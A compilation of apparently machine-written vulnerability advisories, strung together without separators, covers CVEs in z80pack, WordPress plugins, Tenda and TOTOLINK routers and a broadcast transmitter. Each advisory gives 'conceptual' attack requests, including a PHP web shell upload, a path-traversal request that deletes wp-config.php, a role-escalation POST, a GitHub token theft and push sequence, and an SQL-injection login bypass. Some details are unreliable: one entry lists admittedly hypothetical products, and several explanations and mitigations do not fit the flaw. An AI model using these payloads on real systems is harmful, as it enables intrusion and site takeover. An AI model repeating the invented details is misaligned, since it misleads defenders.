Author: Ameeba

Overview

In the ever-evolving world of cybersecurity, vulnerabilities can be found in the most unexpected places. One such vulnerability, CVE-2025-32953, exists in the z80pack emulator, a mature software package used to emulate multiple platforms running the 8080 and Z80 CPUs. This vulnerability can lead to a potential system compromise or data leakage, posing a significant threat to systems utilizing this emulator. Not only could this impact the integrity of these systems, but it could also compromise any sensitive data stored therein.

Vulnerability Summary

CVE ID: CVE-2025-32953
Severity: High (8.7 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

z80pack | 1.38 and prior

How the Exploit Works

The vulnerability lies in the `makefile-ubuntu.yml` workflow file of z80pack. This file uses `actions/upload-artifact@v4` to upload the `z80pack-ubuntu` artifact, which is a zip of the current directory. This directory includes the automatically generated `.git/config` file that contains the run’s GITHUB_TOKEN. The vulnerability comes into play because this artifact can be downloaded before the end of the workflow, creating a small window where an attacker can extract the token from the artifact.
With this token, an attacker can use the GitHub API to push malicious code or rewrite release commits in your repository. This could lead to a system compromise or potential data leakage.

Conceptual Example Code

The exploit could, conceptually, occur as follows:

# Downloading the z80pack-ubuntu artifact
wget https://github.com/z80pack/z80pack/actions/artifacts/123456/download
# Extracting the .git/config file containing the GITHUB_TOKEN
unzip z80pack-ubuntu.zip .git/config
# Using the extracted GITHUB_TOKEN to push malicious code
git clone https://github.com/z80pack/z80pack.git
cd z80pack
echo "malicious code" > exploit.js
git add exploit.js
git commit -m "Add new feature"
git push origin master

Please note that this is a simplified illustration of how the vulnerability might be exploited and does not represent an actual exploit.

Mitigation

To mitigate this vulnerability, users should promptly apply the vendor patch as provided in commit bd95916. Alternatively, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation against potential exploits.

Overview

This article provides a detailed technical analysis of a notable cybersecurity vulnerability, identified as CVE-2025-3761, that affects the popular WordPress plugin, My Tickets – Accessible Event Ticketing. The plugin, which is used widely across various WordPress-based websites for managing event ticketing, has been found to have a critical flaw that could potentially lead to significant security breaches. This vulnerability is particularly significant because it can enable an attacker with basic subscriber-level access to escalate their privileges to an administrator level, thereby gaining full control over the victim’s system.

Vulnerability Summary

CVE ID: CVE-2025-3761
Severity: High, CVSS Severity Score: 8.8
Attack Vector: Remote
Privileges Required: Low (Subscriber level or above)
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

My Tickets – Accessible Event Ticketing | All versions up to and including 2.0.16

How the Exploit Works

The exploit takes advantage of inadequate access restrictions in the mt_save_profile() function in the My Tickets WordPress plugin. This function is supposed to limit the ability to update user roles to only authorized users. However, due to a flaw in its implementation, even unauthorized users with a subscriber-level access can invoke this function and update their roles. An authenticated attacker can exploit this vulnerability by sending a specially crafted request, thereby escalating their privileges to an administrator level.

Conceptual Example Code

An attacker might exploit the vulnerability using an HTTP POST request similar to the following:

POST /wp-admin/admin-ajax.php?action=mt_save_profile HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
user_id=10&role=administrator

In this hypothetical example, the attacker sends a POST request to the mt_save_profile action, indicating their user_id and specifying the role they wish to obtain (in this case, “administrator”). A successful exploit would result in the server updating the user’s role to the specified role, granting the attacker administrator privileges.

Mitigation

Users of the My Tickets – Accessible Event Ticketing WordPress plugin are strongly urged to apply the vendor’s patch immediately. If unable to do so, users should consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. This can help detect and block attempts to exploit this vulnerability until the patch can be applied.

Overview

The Common Vulnerabilities and Exposures (CVE) system recently identified a severe security vulnerability, dubbed CVE-2025-28030, in TOTOLINK A810R V4.1.2cu.5182_B20201026. This vulnerability poses a significant risk to businesses and individuals using the TOTOLINK A810R router, as it could potentially allow malicious actors to compromise the system or cause data leakage. As such, understanding this vulnerability and implementing necessary mitigation measures is crucial to safeguarding your network and data.

Vulnerability Summary

CVE ID: CVE-2025-28030
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TOTOLINK A810R | V4.1.2cu.5182_B20201026

How the Exploit Works

The vulnerability in TOTOLINK A810R arises due to a stack overflow condition in the setParentalRules function. Specifically, the startTime and endTime parameters in the function can be manipulated to exceed the allocated memory space, causing an overflow. This overflow can be exploited by an attacker to execute arbitrary code on the router, leading to system compromise and potentially data leakage.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability. It involves sending a malicious HTTP request to the vulnerable router.

POST /setParentalRules HTTP/1.1
Host: <router-ip>
Content-Type: application/json
{
"startTime": "10000000000000000000000000...",
"endTime": "10000000000000000000000000..."
}

In this example, the startTime and endTime parameters are filled with an overly large value, triggering the stack overflow vulnerability.

Mitigation and Remediation

The best course of action to mitigate this vulnerability is to apply the vendor-provided patch as soon as it is available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can monitor and block potentially malicious activity, offering some degree of protection until the patch can be applied.
Remember to always keep your systems updated, perform regular security audits, and follow best security practices to minimize the chances of your system being affected by such vulnerabilities.

Overview

The cybersecurity community has recently identified a new vulnerability, CVE-2025-23176, which poses a significant threat to the integrity and security of data stored in databases. This vulnerability is linked specifically to SQL databases and has been categorized under CWE-89, indicating that it involves improper neutralization of special elements used in an SQL Command, commonly known as an SQL Injection attack.
The prevalence of SQL databases across a wide range of web applications makes this vulnerability potentially impactful to a large number of organizations and enterprises. More importantly, the severity of this vulnerability is high, as successful exploitation could lead to system compromise or data leakage, significantly undermining the confidentiality, integrity, and availability of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-23176
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

MySQL | 5.7.32
Oracle Database | 12.2.0.1
(Note: The above products and versions are hypothetical and used for illustrative purposes)

How the Exploit Works

The vulnerability allows an attacker to manipulate SQL queries within an application through the injection of malicious SQL code. This is typically achieved by placing malicious SQL statements in entry fields meant for user input. If the application fails to properly sanitize the user input, the attacker can trick the system into executing the malicious SQL statements, leading to data manipulation or exfiltration.

Conceptual Example Code

Consider a web application that uses the following SQL query to authenticate users:

SELECT * FROM users WHERE username = '[username]' AND password = '[password]';

An attacker could input a specially crafted string as the username, such as `’ OR ‘1’=’1`, which would result in the following SQL command:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '[password]';

Since `’1’=’1’` is always true, this could allow the attacker to bypass authentication checks and gain unauthorized access to the application.

Mitigation Guidance

The best way to address this vulnerability is by applying vendor patches as soon as they become available. If patches are not immediately accessible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. Additionally, it is important to follow best practices for SQL query construction, including the use of prepared statements or parameterized queries, which can prevent the insertion of malicious code.

Overview

The Greenshift WordPress plugin, popular among WordPress users for its animation and page building capabilities, has been found to harbor a serious cybersecurity vulnerability. This vulnerability allows for arbitrary file uploads on a site’s server due to a lack of file type validation. It affects versions 11.4 to 11.4.5 of the plugin and has a Common Vulnerability Scoring System (CVSS) severity score of 8.8, making it a high-risk vulnerability. This vulnerability is particularly concerning as it only requires an attacker to have Subscriber-level access to upload potentially malicious files, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-3616
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Greenshift WordPress Plugin | 11.4 to 11.4.5

How the Exploit Works

The vulnerability lies in the gspb_make_proxy_api_request() function of the Greenshift plugin. Due to missing file type validation, an attacker with Subscriber-level access can upload arbitrary files to the server. The uploaded file could contain malicious code, which when executed, may compromise the system or leak sensitive data.

Conceptual Example Code

The code below is a hypothetical example of how an attacker might exploit this vulnerability by sending a POST request with a malicious file:

POST /wp-content/plugins/greenshift/upload_file.php HTTP/1.1
Host: victimwebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a PHP file that can execute shell commands, potentially giving them control over the server.

Mitigation

Users are advised to update their Greenshift WordPress Plugin to version 11.4.6 or later, where the vulnerability has been patched. As a temporary measure, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block attempts at exploiting the vulnerability.

Overview

The vulnerability identified as CVE-2025-3820 is a critical security flaw found in Tenda W12 and i24 router models with firmware versions 3.0.0.4(2887) and 3.0.0.5(3644). This vulnerability allows for a stack-based buffer overflow that can be exploited remotely by a malicious actor. It is a significant threat due to its high CVSS severity score of 8.8 and the potential for system compromise or data leakage.
Due to the public disclosure of this exploit, it is now widely accessible to potential attackers, making every router with the affected versions an active target. Therefore, it is crucial for users of these routers to understand the nature of the vulnerability and take immediate steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-3820
Severity: Critical (8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda W12 | 3.0.0.4(2887), 3.0.0.5(3644)
Tenda i24 | 3.0.0.4(2887), 3.0.0.5(3644)

How the Exploit Works

The exploit takes advantage of a stack-based buffer overflow vulnerability in the `cgiSysUplinkCheckSet` function of the `bin/httpd` file in the affected routers. By manipulating the `hostIp1/hostIp2` arguments, an attacker can cause the buffer to overflow, potentially allowing them to execute arbitrary code on the device or cause a denial of service.

Conceptual Example Code

Here is a conceptual example of an HTTP request that might exploit this vulnerability:

POST /cgi-bin/httpd?cgiSysUplinkCheckSet HTTP/1.1
Host: [Target IP]
Content-Type: application/x-www-form-urlencoded
hostIp1=192.168.1.1&hostIp2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

In this example, the `hostIp2` parameter is filled with an excessive number of ‘A’ characters, causing the buffer to overflow.
Please note that this is a conceptual example and should not be used for malicious purposes. The actual exploit may require more complex manipulation, including the use of specific shellcode, to achieve successful execution.

Remediation

Affected users should apply the vendor-provided patch as soon as possible to mitigate this vulnerability. In the meantime, users can deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potential exploit attempts.

Overview

In today’s cybersecurity landscape, a new critical vulnerability has been identified, labeled as CVE-2025-3803. It primarily affects Tenda’s W12 and i24 devices running firmware versions 3.0.0.4(2887) and 3.0.0.5(3644), respectively. This flaw is of paramount importance due to the fact that it could lead to potential system compromise or data leakage, posing a significant threat to data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-3803
Severity: Critical (CVSS Severity Score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Tenda W12 | 3.0.0.4(2887)
Tenda i24 | 3.0.0.5(3644)

How the Exploit Works

The vulnerability lies within the cgiSysScheduleRebootSet function of the /bin/httpd file. This function handles the arguments for rebooting the device. The exploit takes advantage of the manipulation of the “rebootDate” argument, leading to a stack-based buffer overflow. This overflow can cause the system to execute arbitrary code, potentially compromising the system or leading to data leakage. The vulnerability can be exploited remotely, and the details have been disclosed to the public.

Conceptual Example Code

Here is a simplified conceptual example of a malicious HTTP request that could exploit this vulnerability:

POST /cgi-bin/httpd?rebootDate HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "rebootDate": "A long string that causes a buffer overflow..." }

In this example, the attacker sends a POST request to the device’s server with an excessively long “rebootDate” value. This results in a buffer overflow that could allow the execution of arbitrary code.

Mitigation Guidance

To mitigate this vulnerability, it is advised to apply the vendor patch as soon as it is available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block malicious requests, preventing the exploit from being successful. Please ensure to always keep your systems updated to the latest firmware to prevent such vulnerabilities.

Overview

In this post, we will delve into a critical vulnerability (CVE-2025-3802) that affects Tenda W12 and i24 routers, specifically the versions 3.0.0.4(2887) and 3.0.0.5(3644). The susceptibility was located in the function cgiPingSet of the file /bin/httpd. This vulnerability matters because the exploitation of this flaw can lead to a stack-based buffer overflow, which can potentially compromise the system or lead to data leakage. Being remote, this vulnerability poses significant risks to all Tenda W12 and i24 users worldwide.

Vulnerability Summary

CVE ID: CVE-2025-3802
Severity: Critical, CVSS Score – 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda W12 | 3.0.0.4(2887) and 3.0.0.5(3644)
Tenda i24 | 3.0.0.4(2887) and 3.0.0.5(3644)

How the Exploit Works

The vulnerability lies within the cgiPingSet function of the /bin/httpd file. It is triggered by manipulating the pingIP argument that leads to a stack-based buffer overflow. A buffer overflow occurs when more data is written to a buffer than it can handle, causing it to overflow. This overflow can overwrite adjacent memory locations, leading to erratic program behavior, including memory access errors, incorrect results, and crashes.
In this case, the buffer overflow can be exploited remotely without any user interaction, making it a significant threat. Successful exploitation can lead to unauthorized disclosure of information, unauthorized modification, and even disruption of service.

Conceptual Example Code

Here’s a conceptual example of a malicious HTTP request that could exploit this vulnerability:

POST /cgi-bin/cgiPingSet HTTP/1.1
Host: [target IP]
Content-Type: application/x-www-form-urlencoded
pingIP=192.168.0.1%00 [Additional malicious payload]

In this example, the attacker sends a POST request to the cgiPingSet endpoint, using a manipulated pingIP argument. The address `192.168.0.1%00` is a null byte that terminates the string and is followed by the excess data (malicious payload) that causes the buffer to overflow.

Remediation

The recommended mitigation strategy is to apply the patch provided by the vendor. If not possible immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. However, it is advised to apply the patch as soon as possible to prevent potential system compromise or data leakage.

Overview

The CVE-2025-3404 is a critical vulnerability in the Download Manager plugin for WordPress, affecting all versions up to and including 3.3.12. This vulnerability can lead to arbitrary file deletion, potentially rendering a website non-functional or even allowing an attacker to execute remote code. This advisory outlines the specifics of the vulnerability, who it affects, its potential consequences, and how to mitigate it. As WordPress is widely used across the internet, this vulnerability carries significant risk for unpatched systems.

Vulnerability Summary

CVE ID: CVE-2025-3404
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: High (Author-level access and above)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress Download Manager | Versions up to and including 3.3.12

How the Exploit Works

The vulnerability lies in the savePackage function of the Download Manager plugin, which does not properly validate file paths. With this, an attacker with author-level access can craft a request to the server to delete arbitrary files. If the attacker chooses to delete a critical file, like wp-config.php, it can lead to remote code execution, thus compromising the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. It’s an HTTP request that instructs the server to delete a specific file:

POST /wp-admin/admin-ajax.php?action=wpdm_save_package HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
_ID=1&__wpdmfile[files][]=../../../../wp-config.php

In the above example, the attacker is instructing the server to delete the wp-config.php file, which is a crucial file in a WordPress installation. Deleting this can lead to a system compromise.

Mitigation Guidance

Users of the WordPress Download Manager plugin should immediately apply the vendor patch to fix this vulnerability. If a patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can be configured to block requests that attempt to exploit this vulnerability.

Overview

In a world where digital broadcasting is increasingly becoming the norm, ensuring the security of the tools that facilitate this global communication is paramount. This blog post discusses a critical vulnerability, CVE-2025-28237, that was discovered in the WorldCast Systems ECRESO FM/DAB/TV Transmitter v1.10.1. This vulnerability, if exploited, allows authenticated attackers to escalate privileges via a malicious JSON payload. This is an issue of considerable concern as it could potentially lead to system compromise or data leakage, impacting broadcast operations and potentially compromising sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-28237
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

WorldCast Systems ECRESO FM/DAB/TV Transmitter | v1.10.1

How the Exploit Works

The exploit takes advantage of a flaw in the authentication system of the ECRESO FM/DAB/TV Transmitter. An authenticated attacker can send a specially crafted JSON payload to the transmitter system which, due to insufficient input validation, could allow for a privilege escalation attack. This means the attacker could potentially gain higher-level permissions than intended, giving them the ability to carry out actions or access data that would otherwise be restricted.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example shows a crafted HTTP request containing a malicious JSON payload.

POST /API/Upgrade HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer {valid_token}
{
"update": {
"version": "1.10.2",
"package": "{malicious_payload}"
}
}

In this example, “{valid_token}” would be a token tied to an authenticated user (potentially acquired through other means), and “{malicious_payload}” would be a crafted payload designed to exploit the vulnerability, potentially leading to privilege escalation.
It is strongly recommended that all users of the WorldCast Systems ECRESO FM/DAB/TV Transmitter v1.10.1 apply the vendor-released patch at the earliest opportunity. As a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help identify and block malicious activities related to this vulnerability.